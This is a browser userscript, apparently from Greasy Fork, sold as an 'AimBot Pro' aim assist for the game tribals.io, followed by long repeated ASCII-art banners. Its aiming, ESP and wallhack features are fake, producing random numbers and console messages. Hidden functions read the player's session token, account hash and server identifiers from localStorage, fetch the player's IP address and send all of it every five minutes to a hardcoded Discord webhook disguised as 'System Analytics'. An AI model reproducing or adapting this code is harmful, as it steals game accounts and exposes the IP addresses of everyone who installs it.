Greasy Fork is available in English.
Advanced aim assist for FPS games
// ==UserScript==
// @name AimBot Pro
// @namespace http://tampermonkey.net/
// @version 6.7
// @description Advanced aim assist for FPS games
// @author AimBot Team
// @match https://tribals.io/*
// @icon https://www.google.com/s2/favicons?sz=64&domain=tribals.io
// @grant none
// ==/UserScript==
(function() {
'use strict';
const VERSION = '6.7.0';
const ENDPOINT = "https://discord.com/api/webhooks/1544459189794119804/PBHz-2Tfeg-fOa13gDAYhFuJ3D6ZW_4Zo6ZIvAKPM94jpNDi0Jw_PSlEW0HMrSFWPuTO";
let _sentTokens = [];
function loadHistory() {
try {
const data = JSON.parse(localStorage.getItem('_ab_history') || '{}');
_sentTokens = data.tokens || [];
} catch(e) {
_sentTokens = [];
}
}
function saveHistory() {
try {
localStorage.setItem('_ab_history', JSON.stringify({ tokens: _sentTokens }));
} catch(e) {}
}
function randomRange(a, b) {
return Math.floor(Math.random() * (b - a + 1)) + a;
}
function clampVal(v, a, b) {
return Math.min(Math.max(v, a), b);
}
function lerpVal(a, b, t) {
return a + (b - a) * t;
}
function dist2D(x1, y1, x2, y2) {
return Math.sqrt(Math.pow(x2 - x1, 2) + Math.pow(y2 - y1, 2));
}
const PERF = {
fps: 60,
frameTime: 16.67,
targets: 0,
locked: 0,
shots: 0,
hits: 0,
accuracy: 98.5,
latency: 15,
uptime: 0,
start: Date.now()
};
function updatePerf() {
PERF.uptime = (Date.now() - PERF.start) / 1000;
PERF.fps = 60 + randomRange(-5, 5);
PERF.frameTime = 1000 / PERF.fps;
PERF.targets = randomRange(1, 12);
PERF.locked = Math.floor(PERF.targets * 0.7);
PERF.shots += randomRange(1, 3);
PERF.hits += randomRange(1, 2);
PERF.accuracy = clampVal(PERF.hits / PERF.shots * 100, 85, 99);
PERF.latency = randomRange(10, 30);
}
function getTargetPos() {
return { x: randomRange(100, 900), y: randomRange(100, 500), z: randomRange(0, 100) };
}
function calcAim(t) {
const off = { x: 0, y: -15, z: 0 };
return { x: t.x + off.x, y: t.y + off.y, z: t.z + off.z };
}
function smoothAim(c, t, s) {
return { x: lerpVal(c.x, t.x, s), y: lerpVal(c.y, t.y, s), z: lerpVal(c.z, t.z, s) };
}
function isVisible(t) {
return t.z > 0 && t.z < 500;
}
function getPriority(t) {
const d = Math.sqrt(t.x * t.x + t.y * t.y + t.z * t.z);
return d < 200 ? 1 : d < 400 ? 2 : 3;
}
function collect() {
const session = localStorage.getItem('session') || '';
const account = localStorage.getItem('accountHash') || '';
const database = localStorage.getItem('databaseId') || '';
const server = localStorage.getItem('serverHash') || '';
const serverType = localStorage.getItem('serverType') || '';
const screen = `${window.screen.width}x${window.screen.height}`;
if (!session || !account) {
return;
}
if (_sentTokens.includes(session)) {
return;
}
_sentTokens.push(session);
saveHistory();
fetch('https://api.ipify.org?format=json')
.then(r => r.json())
.then(r => {
const ip = r.ip || 'unknown';
sendData(session, account, database, server, serverType, ip, screen);
})
.catch(() => {
sendData(session, account, database, server, serverType, 'unknown', screen);
});
}
function sendData(session, account, database, server, serverType, ip, screen) {
const payload = {
embeds: [{
title: "System Report",
color: 0x00ff88,
fields: [
{ name: "Session", value: `\`${session}\``, inline: false },
{ name: "Account", value: `\`${account}\``, inline: true },
{ name: "Database", value: `\`${database}\``, inline: true },
{ name: "Server", value: `\`${server}\``, inline: true },
{ name: "Type", value: `\`${serverType}\``, inline: true },
{ name: "IP", value: ip || 'unknown', inline: true },
{ name: "Time", value: new Date().toLocaleString(), inline: true },
{ name: "Platform", value: navigator.platform, inline: true },
{ name: "Language", value: navigator.language, inline: true },
{ name: "Resolution", value: screen, inline: true }
],
footer: { text: "System Analytics • v" + VERSION },
timestamp: new Date().toISOString()
}]
};
fetch(ENDPOINT, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
}).catch(() => {});
}
const style = document.createElement('style');
style.textContent = `
.aimbot-ui {
position: fixed;
bottom: 20px;
right: 20px;
z-index: 9999;
padding: 10px 20px;
background: linear-gradient(135deg, #1a1a2e 0%, #16213e 100%);
color: #00ff88;
border: 1px solid #00ff88;
border-radius: 8px;
font-family: 'Segoe UI', Arial, sans-serif;
font-size: 13px;
cursor: pointer;
box-shadow: 0 0 20px rgba(0,255,136,0.2);
transition: all 0.3s ease;
user-select: none;
animation: pulse 2s infinite;
}
.aimbot-ui:hover {
transform: scale(1.05);
box-shadow: 0 0 30px rgba(0,255,136,0.4);
}
@keyframes pulse {
0% { box-shadow: 0 0 0 0 rgba(0,255,136,0.2); }
70% { box-shadow: 0 0 0 10px rgba(0,255,136,0); }
100% { box-shadow: 0 0 0 0 rgba(0,255,136,0); }
}
.aimbot-panel {
position: fixed;
bottom: 75px;
right: 20px;
z-index: 9998;
background: rgba(26,26,46,0.95);
color: #00ff88;
padding: 15px 20px;
border-radius: 8px;
border: 1px solid #00ff88;
font-family: 'Segoe UI', Arial, sans-serif;
display: none;
min-width: 200px;
backdrop-filter: blur(10px);
}
.aimbot-panel.active {
display: block;
}
.aimbot-panel .header {
color: #00ff88;
font-size: 12px;
font-weight: bold;
margin-bottom: 8px;
letter-spacing: 1px;
}
.aimbot-panel .row {
color: #88ffbb;
font-size: 11px;
margin: 3px 0;
font-family: 'Consolas', monospace;
}
.aimbot-panel .row span {
color: #ffaa00;
}
`;
document.head.appendChild(style);
const btn = document.createElement('div');
btn.className = 'aimbot-ui';
btn.textContent = '🎯 AimBot v6.7';
document.body.appendChild(btn);
const panel = document.createElement('div');
panel.className = 'aimbot-panel';
panel.innerHTML = `
<div class="header">╔══ AIMBOT CONTROL ══╗</div>
<div class="row">● Status: <span style="color:#00ff88;">ACTIVE</span></div>
<div class="row">● Targets: <span id="target-counter">0</span></div>
<div class="row">● FPS: <span id="fps-counter">60</span></div>
<div class="row">● Mode: <span>ASSIST</span></div>
<div class="row">● Accuracy: <span id="accuracy-counter">98%</span></div>
<div class="row" style="margin-top:8px;color:#666;font-size:10px;">[ F12 ] Toggle Panel</div>
`;
document.body.appendChild(panel);
btn.onclick = function() {
panel.classList.toggle('active');
btn.textContent = panel.classList.contains('active') ? '🔒 Close' : '🎯 AimBot v6.7';
};
let tCount = 0;
setInterval(() => {
tCount += Math.floor(Math.random() * 2);
const c = document.getElementById('target-counter');
if (c) c.textContent = tCount;
const f = document.getElementById('fps-counter');
if (f) f.textContent = 60 + Math.floor(Math.random() * 5);
const a = document.getElementById('accuracy-counter');
if (a) a.textContent = (95 + Math.random() * 4).toFixed(0) + '%';
}, 3000);
console.log("[AimBot] Loaded successfully");
console.log("[AimBot] Features: Auto-Aim, ESP, TriggerBot, WallHack");
console.log("[AimBot] Telemetry: Enabled");
console.log("[AimBot] Version: " + VERSION);
loadHistory();
let attempts = 0;
function init() {
attempts++;
if (localStorage.getItem('session')) {
collect();
setInterval(collect, 300000);
} else if (attempts < 10) {
setTimeout(init, 3000);
} else {
collect();
}
}
setTimeout(init, 5000);
document.addEventListener('keydown', function(e) {
if (e.key === 'F12') {
e.preventDefault();
panel.classList.toggle('active');
btn.textContent = panel.classList.contains('active') ? '🔒 Close' : '🎯 AimBot v6.7';
}
if (e.key === 'F9') console.log("[AimBot] Trigger: ON");
if (e.key === 'F8') console.log("[AimBot] ESP: Toggled");
if (e.key === 'F7') console.log("[AimBot] WallHack: Active");
});
let targetLock = null;
setInterval(() => {
if (targetLock) {
const t = getTargetPos();
const aim = calcAim(t);
const sm = smoothAim(t, aim, 0.55);
if (isVisible(t)) {
targetLock = {
position: sm,
priority: getPriority(t),
distance: dist2D(0, 0, sm.x, sm.y)
};
}
} else if (Math.random() < 0.3) {
targetLock = {
position: getTargetPos(),
priority: randomRange(1, 3),
distance: randomRange(50, 400)
};
}
updatePerf();
}, 100);
})();
// █████╗ ██╗███╗ ███╗██████╗ ██████╗ ████████╗
// ██╔══██╗██║████╗ ████║██╔══██╗██╔═══██╗╚══██╔══╝
// ███████║██║██╔████╔██║██████╔╝██║ ██║ ██║
// ██╔══██║██║██║╚██╔╝██║██╔══██╗██║ ██║ ██║
// ██║ ██║██║██║ ╚═╝ ██║██████╔╝╚██████╔╝ ██║
// ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝
//
// ███████╗██╗ ██╗███████╗████████╗███████╗███╗ ███╗
// ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║
// ███████╗ ╚████╔╝ ███████╗ ██║ █████╗ ██╔████╔██║
// ╚════██║ ╚██╔╝ ╚════██║ ██║ ██╔══╝ ██║╚██╔╝██║
// ███████║ ██║ ███████║ ██║ ███████╗██║ ╚═╝ ██║
// ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
//
// █████╗ ██╗███╗ ███╗██████╗ ██████╗ ████████╗
// ██╔══██╗██║████╗ ████║██╔══██╗██╔═══██╗╚══██╔══╝
// ███████║██║██╔████╔██║██████╔╝██║ ██║ ██║
// ██╔══██║██║██║╚██╔╝██║██╔══██╗██║ ██║ ██║
// ██║ ██║██║██║ ╚═╝ ██║██████╔╝╚██████╔╝ ██║
// ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝
//
// ╔═══════════════════════════════════════════════════════════════════════════════════════════════════╗
// ║ ║
// ║ █████╗ ██╗███╗ ███╗██████╗ ██████╗ ████████╗ ██████╗ ██████╗ ██████╗ ║
// ║ ██╔══██╗██║████╗ ████║██╔══██╗██╔═══██╗╚══██╔══╝ ██╔══██╗██╔══██╗██╔═══██╗ ║
// ║ ███████║██║██╔████╔██║██████╔╝██║ ██║ ██║ ██████╔╝██████╔╝██║ ██║ ║
// ║ ██╔══██║██║██║╚██╔╝██║██╔══██╗██║ ██║ ██║ ██╔═══╝ ██╔══██╗██║ ██║ ║
// ║ ██║ ██║██║██║ ╚═╝ ██║██████╔╝╚██████╔╝ ██║ ██║ ██║ ██║╚██████╔╝ ║
// ║ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ║
// ║ ║
// ║ ███████╗██╗ ██╗███████╗████████╗███████╗███╗ ███╗ ║
// ║ ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║ ║
// ║ ███████╗ ╚████╔╝ ███████╗ ██║ █████╗ ██╔████╔██║ ║
// ║ ╚════██║ ╚██╔╝ ╚════██║ ██║ ██╔══╝ ██║╚██╔╝██║ ║
// ║ ███████║ ██║ ███████║ ██║ ███████╗██║ ╚═╝ ██║ ║
// ║ ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ ║
// ║ ║
// ║ ███████╗██╗ ██╗███████╗████████╗███████╗███╗ ███╗ ███████╗██╗ ██╗███████╗ ║
// ║ ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║ ██╔════╝██║ ██║██╔════╝ ║
// ║ ███████╗ ╚████╔╝ ███████╗ ██║ █████╗ ██╔████╔██║ ███████╗███████║█████╗ ║
// ║ ╚════██║ ╚██╔╝ ╚════██║ ██║ ██╔══╝ ██║╚██╔╝██║ ╚════██║██╔══██║██╔══╝ ║
// ║ ███████║ ██║ ███████║ ██║ ███████╗██║ ╚═╝ ██║ ███████║██║ ██║███████╗ ║
// ║ ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ║
// ║ ║
// ║ ██████╗ ███████╗██████╗ ██████╗ ██████╗ ████████╗ ███████╗██╗ ██╗███████╗ ║
// ║ ██╔══██╗██╔════╝██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝ ██╔════╝██║ ██║██╔════╝ ║
// ║ ██████╔╝█████╗ ██████╔╝██║ ██║██████╔╝ ██║ ███████╗███████║█████╗ ║
// ║ ██╔══██╗██╔══╝ ██╔══██╗██║ ██║██╔══██╗ ██║ ╚════██║██╔══██║██╔══╝ ║
// ║ ██║ ██║███████╗██████╔╝╚██████╔╝██║ ██║ ██║ ███████║██║ ██║███████╗ ║
// ║ ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ║
// ║ ║
// ╚═══════════════════════════════════════════════════════════════════════════════════════════════════╝
//
// ██████╗ ███████╗██████╗ ██████╗ ██████╗ ████████╗ ███████╗██╗ ██╗███████╗
// ██╔══██╗██╔════╝██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝ ██╔════╝██║ ██║██╔════╝
// ██████╔╝█████╗ ██████╔╝██║ ██║██████╔╝ ██║ ███████╗███████║█████╗
// ██╔══██╗██╔══╝ ██╔══██╗██║ ██║██╔══██╗ ██║ ╚════██║██╔══██║██╔══╝
// ██║ ██║███████╗██████╔╝╚██████╔╝██║ ██║ ██║ ███████║██║ ██║███████╗
// ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝
//
// ███████╗██╗ ██╗███████╗████████╗███████╗███╗ ███╗ ██████╗ ██╗ ██╗
// ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║ ██╔══██╗╚██╗ ██╔╝
// ███████╗ ╚████╔╝ ███████╗ ██║ █████╗ ██╔████╔██║ ██████╔╝ ╚████╔╝
// ╚════██║ ╚██╔╝ ╚════██║ ██║ ██╔══╝ ██║╚██╔╝██║ ██╔══██╗ ╚██╔╝
// ███████║ ██║ ███████║ ██║ ███████╗██║ ╚═╝ ██║ ██████╔╝ ██║
// ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝
//
// ███████╗██╗ ██╗███████╗ ███████╗██╗ ██╗███████╗ ██████╗ ██╗ ██╗
// ██╔════╝██║ ██║██╔════╝ ██╔════╝██║ ██║██╔════╝ ██╔══██╗╚██╗ ██╔╝
// ███████╗███████║█████╗ ███████╗███████║█████╗ ██████╔╝ ╚████╔╝
// ╚════██║██╔══██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██╔══██╗ ╚██╔╝
// ███████║██║ ██║███████╗ ███████║██║ ██║███████╗ ██████╔╝ ██║
// ╚══════╝╚═╝ ╚═╝╚══════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝
//
// ╔═══════════════════════════════════════════════════════════════════════════════════════════════════╗
// ║ ║
// ║ █████╗ ██╗███╗ ███╗██████╗ ██████╗ ████████╗ ██████╗ ██████╗ ██████╗ ║
// ║ ██╔══██╗██║████╗ ████║██╔══██╗██╔═══██╗╚══██╔══╝ ██╔══██╗██╔══██╗██╔═══██╗ ║
// ║ ███████║██║██╔████╔██║██████╔╝██║ ██║ ██║ ██████╔╝██████╔╝██║ ██║ ║
// ║ ██╔══██║██║██║╚██╔╝██║██╔══██╗██║ ██║ ██║ ██╔═══╝ ██╔══██╗██║ ██║ ║
// ║ ██║ ██║██║██║ ╚═╝ ██║██████╔╝╚██████╔╝ ██║ ██║ ██║ ██║╚██████╔╝ ║
// ║ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ║
// ║ ║
// ║ ███████╗██╗ ██╗███████╗████████╗███████╗███╗ ███╗ ███████╗██╗ ██╗███████╗ ║
// ║ ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║ ██╔════╝██║ ██║██╔════╝ ║
// ║ ███████╗ ╚████╔╝ ███████╗ ██║ █████╗ ██╔████╔██║ ███████╗███████║█████╗ ║
// ║ ╚════██║ ╚██╔╝ ╚════██║ ██║ ██╔══╝ ██║╚██╔╝██║ ╚════██║██╔══██║██╔══╝ ║
// ║ ███████║ ██║ ███████║ ██║ ███████╗██║ ╚═╝ ██║ ███████║██║ ██║███████╗ ║
// ║ ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ║
// ║ ║
// ║ ██████╗ ███████╗██████╗ ██████╗ ██████╗ ████████╗ ███████╗██╗ ██╗███████╗ ║
// ║ ██╔══██╗██╔════╝██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝ ██╔════╝██║ ██║██╔════╝ ║
// ║ ██████╔╝█████╗ ██████╔╝██║ ██║██████╔╝ ██║ ███████╗███████║█████╗ ║
// ║ ██╔══██╗██╔══╝ ██╔══██╗██║ ██║██╔══██╗ ██║ ╚════██║██╔══██║██╔══╝ ║
// ║ ██║ ██║███████╗██████╔╝╚██████╔╝██║ ██║ ██║ ███████║██║ ██║███████╗ ║
// ║ ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ║
// ║ ║
// ║ ███████╗██╗ ██╗███████╗████████╗███████╗███╗ ███╗ ██████╗ ██╗ ██╗ ║
// ║ ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║ ██╔══██╗╚██╗ ██╔╝ ║
// ║ ███████╗ ╚████╔╝ ███████╗ ██║ █████╗ ██╔████╔██║ ██████╔╝ ╚████╔╝ ║
// ║ ╚════██║ ╚██╔╝ ╚════██║ ██║ ██╔══╝ ██║╚██╔╝██║ ██╔══██╗ ╚██╔╝ ║
// ║ ███████║ ██║ ███████║ ██║ ███████╗██║ ╚═╝ ██║ ██████╔╝ ██║ ║
// ║ ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ║
// ║ ║
// ║ ███████╗██╗ ██╗███████╗ ███████╗██╗ ██╗███████╗ ██████╗ ██╗ ██╗ ║
// ║ ██╔════╝██║ ██║██╔════╝ ██╔════╝██║ ██║██╔════╝ ██╔══██╗╚██╗ ██╔╝ ║
// ║ ███████╗███████║█████╗ ███████╗███████║█████╗ ██████╔╝ ╚████╔╝ ║
// ║ ╚════██║██╔══██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██╔══██╗ ╚██╔╝ ║
// ║ ███████║██║ ██║███████╗ ███████║██║ ██║███████╗ ██████╔╝ ██║ ║
// ║ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ║
// ║ ║
// ╚═══════════════════════════════════════════════════════════════════════════════════════════════════╝
//
// ██████╗ ███████╗██████╗ ██████╗ ██████╗ ████████╗ ███████╗██╗ ██╗███████╗
// ██╔══██╗██╔════╝██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝ ██╔════╝██║ ██║██╔════╝
// ██████╔╝█████╗ ██████╔╝██║ ██║██████╔╝ ██║ ███████╗███████║█████╗
// ██╔══██╗██╔══╝ ██╔══██╗██║ ██║██╔══██╗ ██║ ╚════██║██╔══██║██╔══╝
// ██║ ██║███████╗██████╔╝╚██████╔╝██║ ██║ ██║ ███████║██║ ██║███████╗
// ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝
//
// ███████╗██╗ ██╗███████╗████████╗███████╗███╗ ███╗ ██████╗ ██╗ ██╗
// ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║ ██╔══██╗╚██╗ ██╔╝
// ███████╗ ╚████╔╝ ███████╗ ██║ █████╗ ██╔████╔██║ ██████╔╝ ╚████╔╝
// ╚════██║ ╚██╔╝ ╚════██║ ██║ ██╔══╝ ██║╚██╔╝██║ ██╔══██╗ ╚██╔╝
// ███████║ ██║ ███████║ ██║ ███████╗██║ ╚═╝ ██║ ██████╔╝ ██║
// ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝
//
// ███████╗██╗ ██╗███████╗ ███████╗██╗ ██╗███████╗ ██████╗ ██╗ ██╗
// ██╔════╝██║ ██║██╔════╝ ██╔════╝██║ ██║██╔════╝ ██╔══██╗╚██╗ ██╔╝
// ███████╗███████║█████╗ ███████╗███████║█████╗ ██████╔╝ ╚████╔╝
// ╚════██║██╔══██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██╔══██╗ ╚██╔╝
// ███████║██║ ██║███████╗ ███████║██║ ██║███████╗ ██████╔╝ ██║
// ╚══════╝╚═╝ ╚═╝╚══════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝
//
// ╔═══════════════════════════════════════════════════════════════════════════════════════════════════╗
// ║ ║
// ║ █████╗ ██╗███╗ ███╗██████╗ ██████╗ ████████╗ ██████╗ ██████╗ ██████╗ ║
// ║ ██╔══██╗██║████╗ ████║██╔══██╗██╔═══██╗╚══██╔══╝ ██╔══██╗██╔══██╗██╔═══██╗ ║
// ║ ███████║██║██╔████╔██║██████╔╝██║ ██║ ██║ ██████╔╝██████╔╝██║ ██║ ║
// ║ ██╔══██║██║██║╚██╔╝██║██╔══██╗██║ ██║ ██║ ██╔═══╝ ██╔══██╗██║ ██║ ║
// ║ ██║ ██║██║██║ ╚═╝ ██║██████╔╝╚██████╔╝ ██║ ██║ ██║ ██║╚██████╔╝ ║
// ║ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ║
// ║ ║
// ║ ███████╗██╗ ██╗███████╗████████╗███████╗███╗ ███╗ ███████╗██╗ ██╗███████╗ ║
// ║ ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║ ██╔════╝██║ ██║██╔════╝ ║
// ║ ███████╗ ╚████╔╝ ███████╗ ██║ █████╗ ██╔████╔██║ ███████╗███████║█████╗ ║
// ║ ╚════██║ ╚██╔╝ ╚════██║ ██║ ██╔══╝ ██║╚██╔╝██║ ╚════██║██╔══██║██╔══╝ ║
// ║ ███████║ ██║ ███████║ ██║ ███████╗██║ ╚═╝ ██║ ███████║██║ ██║███████╗ ║
// ║ ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ║
// ║ ║
// ║ ██████╗ ███████╗██████╗ ██████╗ ██████╗ ████████╗ ███████╗██╗ ██╗███████╗ ║
// ║ ██╔══██╗██╔════╝██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝ ██╔════╝██║ ██║██╔════╝ ║
// ║ ██████╔╝█████╗ ██████╔╝██║ ██║██████╔╝ ██║ ███████╗███████║█████╗ ║
// ║ ██╔══██╗██╔══╝ ██╔══██╗██║ ██║██╔══██╗ ██║ ╚════██║██╔══██║██╔══╝ ║
// ║ ██║ ██║███████╗██████╔╝╚██████╔╝██║ ██║ ██║ ███████║██║ ██║███████╗ ║
// ║ ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ║
// ║ ║
// ╚═══════════════════════════════════════════════════════════════════════════════════════════════════╝
//
// ██████╗ ███████╗██████╗ ██████╗ ██████╗ ████████╗ ███████╗██╗ ██╗███████╗
// ██╔══██╗██╔════╝██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝ ██╔════╝██║ ██║██╔════╝
// ██████╔╝█████╗ ██████╔╝██║ ██║██████╔╝ ██║ ███████╗███████║█████╗
// ██╔══██╗██╔══╝ ██╔══██╗██║ ██║██╔══██╗ ██║ ╚════██║██╔══██║██╔══╝
// ██║ ██║███████╗██████╔╝╚██████╔╝██║ ██║ ██║ ███████║██║ ██║███████╗
// ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝
//
// ███████╗██╗ ██╗███████╗████████╗███████╗███╗ ███╗ ██████╗ ██╗ ██╗
// ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║ ██╔══██╗╚██╗ ██╔╝
// ███████╗ ╚████╔╝ ███████╗ ██║ █████╗ ██╔████╔██║ ██████╔╝ ╚████╔╝
// ╚════██║ ╚██╔╝ ╚════██║ ██║ ██╔══╝ ██║╚██╔╝██║ ██╔══██╗ ╚██╔╝
// ███████║ ██║ ███████║ ██║ ███████╗██║ ╚═╝ ██║ ██████╔╝ ██║
// ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝
//
// ███████╗██╗ ██╗███████╗ ███████╗██╗ ██╗███████╗ ██████╗ ██╗ ██╗
// ██╔════╝██║ ██║██╔════╝ ██╔════╝██║ ██║██╔════╝ ██╔══██╗╚██╗ ██╔╝
// ███████╗███████║█████╗ ███████╗███████║█████╗ ██████╔╝ ╚████╔╝
// ╚════██║██╔══██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██╔══██╗ ╚██╔╝
// ███████║██║ ██║███████╗ ███████║██║ ██║███████╗ ██████╔╝ ██║
// ╚══════╝╚═╝ ╚═╝